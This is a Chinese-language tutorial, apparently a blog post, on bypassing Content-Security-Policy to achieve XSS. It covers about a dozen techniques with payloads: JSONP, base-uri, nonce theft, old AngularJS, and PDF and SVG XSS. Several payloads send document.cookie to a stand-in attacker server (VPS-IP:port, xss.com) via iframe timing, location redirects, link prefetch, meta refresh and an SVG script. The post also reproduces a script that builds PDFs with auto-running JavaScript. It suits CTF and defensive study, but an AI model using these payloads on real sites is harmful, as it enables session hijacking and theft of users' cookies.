class="s1">'self'</span><span class="o">;</span> <span class="nt">img-src</span> <span class="nt">blob</span><span class="o">:</span> </pre></div> <p>给出的示例CSP策略允许任何来源都可以使用blob数据类型来加载图像,这就给了攻击者注入恶意脚本的注入点。</p> <p>4.<code>unsafe-inline</code>:允许在HTML页面中直接嵌入JavaScript代码。这是一种方便的方法,可以将脚本与页面混合在一起,但是也容易受到XSS攻击的威胁。</p> <p><strong>示例CSP策略</strong></p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">default-src</span> <span class="s1">'self'</span><span class="o">;</span> <span class="nt">script-src</span> <span class="s1">'self'</span> <span class="s1">'unsafe-inline'</span> </pre></div> <p>这个CSP策略只允许从当前网站加载默认资源,允许使用内联的JavaScript脚本,也就是说允许unsafe-inline,所以说攻击者可以直接利用漏洞执行XSS攻击</p> <p>5.<code>unsafe-eval</code>:允许在HTML页面中使用eval函数来执行JavaScript代码。</p> <p><strong>示例CSP策略</strong></p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">default-src</span> <span class="s1">'self'</span><span class="o">;</span> <span class="nt">script-src</span> <span class="s1">'self'</span> <span class="s1">'unsafe-eval'</span> </pre></div> <p>这个CSP策略允许在HTML页面中使用eval函数来执行JavaScript代码,即允许使用'unsafe-eval'。这可能导致数据注入攻击,因为攻击者可以通过注入特殊的参数来控制eval函数的执行结果,从而达到执行恶意代码的目的。</p> <h4>绕过姿势</h4> <h5><strong>1.利用iframe标签绕过CSP</strong></h5> <p>示例代码</p> <div class="highlight"><pre><span></span><span class="x"><!--1.php--></span> <span class="cp"><?php</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s1">'Evi1s7'</span><span class="p">]))</span> <span class="p">{</span> <span class="nb">setcookie</span><span class="p">(</span><span class="s1">'Ev1ls7'</span><span class="p">,</span><span class="nb">md5</span><span class="p">(</span><span class="nb">rand</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">1000</span><span class="p">)));</span> <span class="p">}</span> <span class="nb">header</span><span class="p">(</span><span class="s2">"Content-Security-Policy: default-src 'self';"</span><span class="p">);</span> <span class="cp">?></span><span class="x"></span> <span class="x"><!DOCTYPE html></span> <span class="x"><html></span> <span class="x"><head></span> <span class="x"> <title>CSP</title></span> <span class="x"></head></span> <span class="x"><body></span> <span class="x"><p>CSP</p></span> <span class="cp"><?php</span> <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'Evi1s7'</span><span class="p">]))</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">"Your GET content:"</span><span class="o">[email protected]</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'Evi1s7'</span><span class="p">];</span> <span class="p">}</span> <span class="cp">?></span><span class="x"></span> <span class="x"></body></span> <span class="x"></html></span> <span class="x"><!--2.php--></span> <span class="x"><!DOCTYPE html></span> <span class="x"><html></span> <span class="x"><head></span> <span class="x"> <title>CSP</title></span> <span class="x"></head></span> <span class="x"><body></span> <span class="x"><p>CSP</p></span> <span class="cp"><?php</span> <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'Evi1s7'</span><span class="p">]))</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">"Your GET content:"</span><span class="o">[email protected]</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'Evi1s7'</span><span class="p">];</span> <span class="p">}</span> <span class="cp">?></span><span class="x"></span> <span class="x"></body></span> <span class="x"></html></span> </pre></div> <p>这一段代码定义了2个php页面,在1.php中设置了CSP,</p> <p>CSP策略</p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">default-src</span> <span class="s1">'self'</span><span class="o">;</span> </pre></div> <p>但是在2.php中缺没有设置CSP,我们可以利用<iframe>的特性通过JavaScript,来进行操作1.php的DOM</p> <pre><code><script> var iframe = document.createElement('iframe'); iframe.src="./1.php"; document.body.appendChild(iframe); setTimeout(()=>location.href='http://VPS-IP:port/'+escape(document.cookie),1000); </script></code></pre> <p>这里分析一下payload,</p> <p>我们可以创建一个<iframe>标签将其嵌入到DOM文档的body元素中,然后将<iframe>标签的src属性设置为'./1.php',从而使浏览器加载并渲染1.php页面的内容,我们的<iframe>标签也会嵌入到页面之中,之后利用了setTimeout()函数,等待了1000毫秒之后,可以向我们的VPS发送当前页面的cookie值,我们只需要在我们的VPS上监听设定的端口即可</p> <h5>2.location绕过</h5> <p>这其实就是上面所说的unsafe-inline存在安全风险的利用</p> <p><strong>示例CSP策略</strong></p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">default-src</span> <span class="s1">'self'</span><span class="o">;</span> <span class="nt">script-src</span> <span class="s1">'self'</span> <span class="s1">'unsafe-inline'</span> </pre></div> <p>这里设定了script-src 'unsafe-inline';</p> <p>所以我们可以利用location.href/window.location/window.open 绕过</p> <p>exp:</p> <pre><code>?name=<script>window.location.href='http://VPS-IP:port'+escape(document.cookie);</script></code></pre> <h5>3.link标签绕过</h5> <p>适用于可以执行JavaScript脚本,但是无法将CSP数据带出</p> <pre><code><!-- firefox --> <link rel="dns-prefetch" href="//${cookie}.vps_ip"> <!-- chrome --> <link rel="prefetch" href="//vps_ip?${cookie}"></code></pre> <p>带出Cookie</p> <pre><code>var link = document.createElement("link"); link.setAttribute("rel", "prefetch"); link.setAttribute("href", "//VPS-IP/?" + document.cookie); document.head.appendChild(link);</code></pre> <p>分析一下上面这一段代码,我们创建了一个<link>标签,之后利用setAttribute()方法设定了<link>标签的2个属性值,一个是rel属性,rel属性被设置为prefetch,就是让浏览器下载href属性指定的资源,这里还设定了href属性,href属性被设定为设置一个超链接,当被点击是,会以GET的形式请求我们的VPS,且带着用户自己的cookie值作为查询字符串附加在URL的末尾。</p> <h5>4.低版本的CDN绕过</h5> <p>现在CDN新版本的框架安全性很好了,但是较早时候的一些框架存在一些安全风险,有CSP绕过的风险,这里就说明一下如何绕过低版本的CDN框架(前提是此CDN服务商在CSP白名单中)</p> <p>orange师傅在之前一篇文章中有类似的案例<a href="https://paper.seebug.org/855/">Hackmd XSS</a></p> <p>题目给出的CSP策略</p> <pre><code><meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;"></code></pre> <p>这里可以看到通过script-src策略指令从cloudflare.com引用了CDN服务,这里orange师傅采用了低版本的angular js模板注入来绕过CSP</p> <pre><code><script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> </script> <div ng-app> {{constructor.constructor('alert(document.cookie)')()}} </div></code></pre> <p>可以弹窗显示当前页面的cookie,说明我们的XSS攻击成功</p> <p>除了上述的AngularJS库,还有一些可以绕过CSP的库</p> <p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20230330140100-3f21d9b0-cec0-1.png" alt="image.png"></p> <p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20230330140106-42578260-cec0-1.png" alt="image.png"></p> <p>以Jquery-mobile库为例,如果题目给出的CSP策略中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",那么下面的payload就可以绕过CSP:</p> <div class="highlight"><pre><span></span><span class="o"><</span><span class="nt">div</span> <span class="nt">data-role</span><span class="o">=</span><span class="nt">popup</span> <span class="nt">id</span><span class="o">=</span><span class="s1">'<script>alert(hack)</script>'</span><span class="o">></</span><span class="nt">div</span><span class="o">></span> </pre></div> <h5>5.利用meta标签实现url跳转</h5> <p>当CSP策略中策略指令default-src 'none'的情况下,可以使用meta标签实现跳转</p> <div class="highlight"><pre><span></span><span class="o"><</span><span class="nt">meta</span> <span class="nt">http-equiv</span><span class="o">=</span><span class="s2">"refresh"</span> <span class="nt">content</span><span class="o">=</span><span class="s2">"3;url=https://example.com"</span><span class="o">></span> </pre></div> <p>分析一下上面这一段代码是如何实现url跳转的,这里将meta标签的http-equiv的属性值设置为了'refresh',也就是刷新,后面content属性设置了等待时间为3s,之后跳转到example.com。所以我们也可以利用这一种方式带出用户的Cookie值</p> <div class="highlight"><pre><span></span><span class="o"><</span><span class="nt">meta</span> <span class="nt">http-equiv</span><span class="o">=</span><span class="s2">"refresh"</span> <span class="nt">content</span><span class="o">=</span><span class="s2">"1;url=http://www.xss.com/x.php?c=[cookie]"</span> <span class="o">></span> </pre></div> <h5>6.CRLF绕过</h5> <p>我知道如何利用CRLF漏洞进行XSS,但是利用CRLF漏洞进行绕过CSP这种题目我没有见过,学习了一下evoA师傅的思路</p> <p>当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP</p> <h5>7.站点可控静态资源绕过</h5> <p><strong>适用于站点存在可控静态资源,且站点在CSP白名单中</strong></p> <p>这里给一个绕过codimd的(实例)<a href="https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md">codimd xss</a></p> <pre><code><meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"></code></pre> <p>案例中codimd的CSP中使用了<code>www.google-analytics.com</code></p> <p>而且<code>www.google-analytics.com</code>中可以让我们自定义JavaScript,所以我们可以绕过CSP</p> <pre><code><script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script></code></pre> <h5>8.站点可控JSONP绕过</h5> <p><strong>适用于站点存在可控的JSONP,且站点在CSP白名单中</strong></p> <p>大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析</p> <p>以之前做过的bypasses-everywhere为例</p> <p>题目给出的CSP策略</p> <div class="highlight"><pre><span></span><span class="nt">Content-Security-Policy</span><span class="o">:</span> <span class="nt">script-src</span> <span class="nt">www</span><span class="p">.</span><span class="nc">google</span><span class="p">.</span><span class="nc">com</span><span class="o">;</span> <span class="nt">img-src</span> <span class="o">*;</span> <span class="nt">default-src</span> <span class="s1">'none'</span><span class="o">;</span> <span class="nt">style-src</span> <span class="s1">'unsafe-inline'</span> </pre></div> <p>这里看起来没有问题,但是script-src策略指令指定的google站点存在可控的JSONP<br> 利用下面payload测试一下</p> <pre><code><meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com"> <script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script></code></pre> <p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20230330140117-492b44b4-cec0-1.png" alt="image.png"></p> <p>发现成功弹窗,之后我们可以利用注释符将其注释掉,从而实现任意js脚本</p> <div class="highlight"><pre><span></span><span class="o"><</span><span class="nx">script</span> <span class="nx">src</span><span class="o">=</span><span class="s2">"https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"</span><span class="o">></span><span class="c"><!--</span> <span class="o"><</span><span class="err">/script><script>alert('Evi1s7')</script></span> </pre></div> <h5>9.Base-uri绕过</h5> <p><strong>适用于script-src只使用nonce,没有额外设置base-uri,页面引用存在相对路径的<code><script></code>标签</strong></p> <p>当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<code><base></code>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径。</p> <pre><code>exp: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-test'"> <base href="//VPS-IP/"> <script nonce='test' src="2.js"></script></code></pre> <p>我们在自己服务器上创建一个2.js的脚本,可以将恶意脚本写入2.js中,从而当浏览器解析上述payload时,会访问我们的服务器上的创建的2.js恶意脚本,从而实现XSS</p> <p>如果页面的script-src不是采用的nonce而是self或者域名ip,则不能使用此方法,因为VPS-IP不在CSP白名单内。</p> <h5>10.不完整script标签绕过nonce</h5> <p><strong>适用于可控点在合法script标签上方,且其中没有其他标签,XSS页面的CSP script-src只采用了nonce方式</strong></p> <pre><code><?php header("X-XSS-Protection:0");?> <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'"> <?php echo $_GET['xss']?> <script nonce='xxxxx'> //do some thing </script></code></pre> <p>这里给出的环境符合我们利用不完整script标签绕过nonce,所以可以操作一下</p> <pre><code>?xss=<script src=data:text/plain,alert(1)</code></pre> <p>成功弹窗</p> <p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20230330140126-4e7218a8-cec0-1.png" alt="image.png"></p> <p>这里是利用了浏览器的一个特性:</p> <p>当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性</p> <p>所以我们利用GET的方式传参进去的'<script src=data:text/plain,alert(1)',根据优先级是标签开始的位置,而第五行的<script会被当做我们输入的<script>标签的属性名,值为空,而原本的<code>nonce</code>属性的值成了我们构造的<script>的属性的值,这里可以理解为我们窃取了<code>nonce</code>值,从而绕过CSP。</p> <p>这个payload在火狐浏览器上可以执行且不报错的,但是经过测试在chrome浏览器中,进行解析时会报错</p> <p>这里可以用到标签的一个技巧,当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略</p> <pre><code>?xss=123<script src="data:text/plain,alert(1)" a=123 a=</code></pre> <p>先新建一个a属性,然后再新建第二个a属性,这样我们就将题目中原本的<script赋给了第二个a属性,浏览器在解析的时候直接忽略了第二个属性及其后面的值,这样exp就能成功在chrome浏览器上执行。</p> <h5>11.借助外域资源绕过</h5> <p><strong>适用于可以进行外域资源引用,且注入点在CSP策略下方</strong></p> <p>在做题的时候,有时候会遇到下列所给的CSP策略</p> <pre><code><meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self'; img-src *;"></code></pre> <p>这里设置的CSP策略指令img-src允许加载外域图片资源,就是意味着该网页允许从任何来源加载图像。</p> <p>所以说,我们是不是可以利用<img>标签伪造一下我们的XSS恶意代码,从而注入到该网页呢?</p> <pre><code>?key=<img src="VPS-IP?a=</code></pre> <p>这里我们利用一个不完整的<img>标签将数据外带到我们的VPS上,这里就要涉及一个语法了</p> <p>当我们的标签未闭合时,html解析器会一直去寻找下一个引号,从而闭合src属性,所以说在下一个引号前的标签都不会被解析,从而绕过CSP</p> <p>利用此特性,我们可以将CSP策略下方的内容给外带到我们的VPS上,从而实现窃取信息。</p> <h5>12.利用PDF XSS绕过</h5> <p><strong>适用于没有设置object-src,或者object-src没有设置为'none',pdf用的是chrome的默认解析器。</strong></p> <p>PDF XSS是存储型XSS的一种攻击方式,其实原理也很简单,就是攻击者将恶意代码写入PDF文件中,将此图片利用文件上传或者创建在自己的VPS上,受害者访问从而进行XSS攻击。</p> <p>PDF XSS不能获取页面cookie,但是可以弹窗,url跳转等。</p> <p>这种类型的XSS,我自己是没有见过的,借用一下大师傅的源码。</p> <p>源码示例</p> <pre><code><meta http-equiv="Content-Security-Policy" content="script-src 'self'"> <?php echo $_GET[1]?></code></pre> <p>在CSP标准里面,有一个属性是object-src,它限制的是<embed> <object> <applet>标签的src属性,也就是插件的src属性</p> <p>我们可以通过插件来执行Javascript代码,<strong>插件的js代码并不受script-src的约束</strong></p> <pre><code><embed width="100%" height="100%" src="//VPS-IP/1.pdf"></embed></code></pre> <p>之后我们在自己的VPS上创建一个带有恶意脚本的1.pdf文件即可。</p> <p>这里附上一个用来生成含有JavaScript的PDF文件的国外师傅的开源python脚本</p> <div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/python</span> <span class="c1"># V0.1 2008/05/23</span> <span class="c1"># make-pdf-javascript, use it to create a PDF document with embedded JavaScript that will execute automatically when the document is opened</span> <span class="c1"># requires module mPDF.py</span> <span class="c1"># Source code put in public domain by Didier Stevens, no Copyright</span> <span class="c1"># https://DidierStevens.com</span> <span class="c1"># Use at your own risk</span> <span class="c1">#</span> <span class="c1"># History:</span> <span class="c1"># </span> <span class="c1"># 2008/05/29: continue</span> <span class="c1"># 2008/11/09: cleanup for release</span> <span class="kn">import</span> <span class="nn">mPDF</span> <span class="kn">import</span> <span class="nn">optparse</span> <span class="k">def</span> <span class="nf">Main</span><span class="p">():</span> <span class="sd">"""make-pdf-javascript, use it to create a PDF document with embedded JavaScript that will execute automatically when the document is opened</span> <span class="sd"> """</span> <span class="n">parser</span> <span class="o">=</span> <span class="n">optparse</span><span class="o">.</span><span class="n">OptionParser</span><span class="p">(</span><span class="n">usage</span><span class="o">=</span><span class="s1">'usage: %prog [options] pdf-file'</span><span class="p">,</span> <span class="n">version</span><span class="o">=</span><span class="s1">'%prog 0.1'</span><span class="p">)</span> <span class="n">parser</span><span class="o">.</span><span class="n">add_option</span><span class="p">(</span><span class="s1">'-j'</span><span class="p">,</span> <span class="s1">'--javascript'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">'javascript to embed (default embedded JavaScript is app.alert messagebox)'</span><span class="p">)</span> <span class="n">parser</span><span class="o">.</span><span class="n">add_option</span><span class="p">(</span><span class="s1">'-f'</span><span class="p">,</span> <span class="s1">'--javascriptfile'</span><span class="p">,</span> <span class="n">help</span><span class="o">=</span><span class="s1">'javascript file to embed (default embedded JavaScript is app.alert messagebox)'</span><span class="p">)</span> <span class="p">(</span><span class="n">options</span><span class="p">,</span> <span class="n">args</span><span class="p">)</span> <span class="o">=</span> <span class="n">parser</span><span class="o">.</span><span class="n">parse_args</span><span class="p">()</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">args</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span> <span class="n">parser</span><span class="o">.</span><span class="n">print_help</span><span class="p">()</span> <span class="k">print</span> <span class="s1">''</span> <span class="k">print</span> <span class="s1">' make-pdf-javascript, use it to create a PDF document with embedded JavaScript that will execute automatically when the document is opened'</span> <span class="k">print</span> <span class="s1">' Source code put in the public domain by Didier Stevens, no Copyright'</span> <span class="k">print</span> <span class="s1">' Use at your own risk'</span> <span class="k">print</span> <span class="s1">' https://DidierStevens.com'</span> <span class="k">else</span><span class="p">:</span> <span class="n">oPDF</span> <span class="o">=</span> <span class="n">mPDF</span><span class="o">.</span><span class="n">cPDF</span><span class="p">(</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">header</span><span class="p">()</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">indirectobject</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">'<<</span><span class="se">\n</span><span class="s1"> /Type /Catalog</span><span class="se">\n</span><span class="s1"> /Outlines 2 0 R</span><span class="se">\n</span><span class="s1"> /Pages 3 0 R</span><span class="se">\n</span><span class="s1"> /OpenAction 7 0 R</span><span class="se">\n</span><span class="s1">>>'</span><span class="p">)</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">indirectobject</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">'<<</span><span class="se">\n</span><span class="s1"> /Type /Outlines</span><span class="se">\n</span><span class="s1"> /Count 0</span><span class="se">\n</span><span class="s1">>>'</span><span class="p">)</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">indirectobject</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">'<<</span><span class="se">\n</span><span class="s1"> /Type /Pages</span><span class="se">\n</span><span class="s1"> /Kids [4 0 R]</span><span class="se">\n</span><span class="s1"> /Count 1</span><span class="se">\n</span><span class="s1">>>'</span><span class="p">)</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">indirectobject</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">'<<</span><span class="se">\n</span><span class="s1"> /Type /Page</span><span class="se">\n</span><span class="s1"> /Parent 3 0 R</span><span class="se">\n</span><span class="s1"> /MediaBox [0 0 612 792]</span><span class="se">\n</span><span class="s1"> /Contents 5 0 R</span><span class="se">\n</span><span class="s1"> /Resources <<</span><span class="se">\n</span><span class="s1"> /ProcSet [/PDF /Text]</span><span class="se">\n</span><span class="s1"> /Font << /F1 6 0 R >></span><span class="se">\n</span><span class="s1"> >></span><span class="se">\n</span><span class="s1">>>'</span><span class="p">)</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">stream</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">'BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET'</span><span class="p">)</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">indirectobject</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">'<<</span><span class="se">\n</span><span class="s1"> /Type /Font</span><span class="se">\n</span><span class="s1"> /Subtype /Type1</span><span class="se">\n</span><span class="s1"> /Name /F1</span><span class="se">\n</span><span class="s1"> /BaseFont /Helvetica</span><span class="se">\n</span><span class="s1"> /Encoding /MacRomanEncoding</span><span class="se">\n</span><span class="s1">>>'</span><span class="p">)</span> <span class="k">if</span> <span class="n">options</span><span class="o">.</span><span class="n">javascript</span> <span class="o">==</span> <span class="bp">None</span> <span class="ow">and</span> <span class="n">options</span><span class="o">.</span><span class="n">javascriptfile</span> <span class="o">==</span> <span class="bp">None</span><span class="p">:</span> <span class="n">javascript</span> <span class="o">=</span> <span class="s2">"""app.alert({cMsg: 'Hello from PDF JavaScript', cTitle: 'Testing PDF JavaScript', nIcon: 3});"""</span> <span class="k">elif</span> <span class="n">options</span><span class="o">.</span><span class="n">javascript</span> <span class="o">!=</span> <span class="bp">None</span><span class="p">:</span> <span class="n">javascript</span> <span class="o">=</span> <span class="n">options</span><span class="o">.</span><span class="n">javascript</span> <span class="k">else</span><span class="p">:</span> <span class="k">try</span><span class="p">:</span> <span class="n">fileJavasScript</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">options</span><span class="o">.</span><span class="n">javascriptfile</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">except</span><span class="p">:</span> <span class="k">print</span> <span class="s2">"error opening file </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="n">options</span><span class="o">.</span><span class="n">javascriptfile</span> <span class="k">return</span> <span class="k">try</span><span class="p">:</span> <span class="n">javascript</span> <span class="o">=</span> <span class="n">fileJavasScript</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="k">except</span><span class="p">:</span> <span class="k">print</span> <span class="s2">"error reading file </span><span class="si">%s</span><span class="s2">"</span> <span class="o">%</span> <span class="n">options</span><span class="o">.</span><span class="n">javascriptfile</span> <span class="k">return</span> <span class="k">finally</span><span class="p">:</span> <span class="n">fileJavasScript</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">indirectobject</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="s1">'<<</span><span class="se">\n</span><span class="s1"> /Type /Action</span><span class="se">\n</span><span class="s1"> /S /JavaScript</span><span class="se">\n</span><span class="s1"> /JS (</span><span class="si">%s</span><span class="s1">)</span><span class="se">\n</span><span class="s1">>>'</span> <span class="o">%</span> <span class="n">javascript</span><span class="p">)</span> <span class="n">oPDF</span><span class="o">.</span><span class="n">xrefAndTrailer</span><span class="p">(</span><span class="s1">'1 0 R'</span><span class="p">)</span> <span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span> <span class="n">Main</span><span class="p">()</span> </pre></div> <p>附上用法和命令</p> <pre><code>Usage: make-pdf-javascript.py [options] pdf-file Options: --version show program's version number and exit -h, --help show this help message and exit -j JAVASCRIPT, --javascript=JAVASCRIPT javascript to embed (default embedded JavaScript is app.alert messagebox) -f JAVASCRIPTFILE, --javascriptfile=JAVASCRIPTFILE javascript file to embed (default embedded JavaScript is app.alert messagebox) make-pdf-javascript, use it to create a PDF document with embedded JavaScript that will execute automatically when the document is opened Source code put in the public domain by Didier Stevens, no Copyright Use at your own risk https://DidierStevens.com</code></pre> <p>我这里利用这个脚本生成了一个带有恶意脚本的PDF</p> <pre><code>%PDF-1.4 %âãÏÓ 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /MediaBox [0 0 612 792] /Parent 2 0 R /Contents 4 0 R >> endobj 4 0 obj << /Length 53 >> stream BT /F1 12 Tf 1 0 0 rg 72 720 Td (PDF XSS Example) Tj ET <</S/JavaScript/JS(alert('1'))>> endstream endobj xref 0 5 0000000000 65535 f 0000000012 00000 n 0000000079 00000 n 0000000178 00000 n 0000000413 00000 n trailer << /Size 5 /Root 1 0 R >> startxref 532 %%EOF</code></pre> <p>在我本地测试一下,成功弹窗</p> <h5>13.利用SVG矢量图绕过</h5> <p><strong>适用于可以上传SVG文件</strong></p> <p>SVG是可缩放矢量图形(Scalable Vector Graphics)的缩写,是一种基于XML语法的2D图形格式,用于描述矢量图形。与像素图形不同,矢量图形是由数学公式和几何图形描述的,因此可以无限放大而不失真。</p> <p>其实原理跟PDF XSS原理一样的,上面介绍了,这里就不多赘述。</p> <p>给出一个示例SVG文件:</p> <div class="highlight"><pre><span></span><span class="cp"><?xml version="1.0" encoding="UTF-8" standalone="no"?></span> <span class="cp"><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"></span> <span class="nt"><svg</span> <span class="na">version=</span><span class="s">"1.1"</span> <span class="na">id=</span><span class="s">"Layer_1"</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span> <span class="na">xmlns:xlink=</span><span class="s">"http://www.w3.org/1999/xlink"</span> <span class="na">x=</span><span class="s">"0px"</span> <span class="na">y=</span><span class="s">"0px"</span> <span class="na">width=</span><span class="s">"100px"</span> <span class="na">height=</span><span class="s">"100px"</span> <span class="na">viewBox=</span><span class="s">"0 0 751 751"</span> <span class="na">enable-background=</span><span class="s">"new 0 0 751 751"</span> <span class="na">xml:space=</span><span class="s">"preserve"</span><span class="nt">></span> <span class="nt"><image</span> <span class="na">id=</span><span class="s">"image0"</span> <span class="na">width=</span><span class="s">"751"</span> <span class="na">height=</span><span class="s">"751"</span> <span class="na">x=</span><span class="s">"0"</span> <span class="na">y=</span><span class="s">"0"</span> <span class="na">href=</span><span class="s">"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo"</span> <span class="nt">/></span> <span class="nt"><script></span>document.location.href='http://ip:port/'+document.cookie<span class="nt"></script></span> <span class="nt"></svg></span> </pre></div> <h1>参考</h1> <p><a href="https://www.freebuf.com/articles/web/340080.html">xss 常用标签及绕过姿势总结 </a></p> <p><a href="https://xz.aliyun.com/t/5084#toc-3">我的CSP绕过思路及总结</a></p> </script>